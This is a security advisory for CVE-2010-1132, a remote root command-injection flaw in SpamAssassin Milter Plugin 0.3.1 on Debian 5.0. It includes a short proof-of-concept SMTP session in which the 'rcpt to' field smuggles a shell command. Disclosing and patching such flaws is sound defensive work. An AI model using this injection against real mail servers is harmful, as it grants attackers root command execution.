SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

BID:38578

Info

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

Bugtraq ID: 38578
Class: Input Validation Error
CVE: CVE-2010-1132
Remote: Yes
Local: No
Published: Mar 07 2010 12:00AM
Updated: Apr 13 2015 09:16PM
Credit: Kingcope
Vulnerable: SpamAssassin Milter Plugin SpamAssassin Milter Plugin 0.3.1
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Not Vulnerable:

Discussion

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

SpamAssassin Milter Plugin is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with root privileges.

SpamAssassin Milter Plugin 0.3.1 is affected; other versions may also be vulnerable.

Exploit / POC

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

An attacker can exploit the issue using readily available tools.

The following example commands are available:

$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me () me com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

Solution / Fix

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 5.0 alpha

Debian Linux 5.0 amd64

Debian Linux 5.0 ia-32

Debian Linux 5.0 hppa

Debian Linux 5.0 mips

Debian Linux 5.0 ia-64

Debian Linux 5.0 s/390

Debian Linux 5.0 arm

Debian Linux 5.0 mipsel

Debian Linux 5.0 powerpc

Debian Linux 5.0 armel

Debian Linux 5.0 sparc

References

SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability

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